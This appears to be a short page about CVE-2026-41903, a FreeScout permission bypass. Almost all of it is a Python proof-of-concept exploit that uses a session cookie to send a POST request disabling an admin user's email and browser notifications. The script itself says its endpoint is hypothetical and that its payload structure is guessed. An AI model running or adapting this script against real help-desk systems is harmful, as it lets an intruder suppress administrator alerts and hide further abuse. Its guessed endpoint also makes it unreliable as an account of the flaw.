CVE-2026-41903 FreeScout权限绕过致通知订阅可被篡改

# Proof of Concept for CVE-2026-41903 # Description: Exploit script to disable notifications for an admin user # Requirement: Valid session cookie for a user with PERM_EDIT_USERS permission import requests def exploit(target_url, admin_user_id, session_cookie): """ Send a malicious POST request to disable admin notifications. """ headers = { "Cookie": session_cookie, "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } # Payload to disable email and browser notifications # The exact JSON structure depends on the FreeScout API implementation payload = { "subscriptions": { "email_new_reply": False, "browser_new_reply": False } } # Endpoint to update user notifications (hypothetical based on description) url = f"{target_url.rstrip('/')}/api/v1/users/{admin_user_id}/notifications" try: response = requests.post(url, json=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Success: Admin notifications have been disabled.") else: print(f"[-] Failed: Server returned status code {response.status_code}") except Exception as e: print(f"[-] Error: {str(e)}") if __name__ == "__main__": # Example usage TARGET = "http://example-freescout.com" ADMIN_ID = "1" COOKIE = "freescout_session=attacker_session_token_here" exploit(TARGET, ADMIN_ID, COOKIE)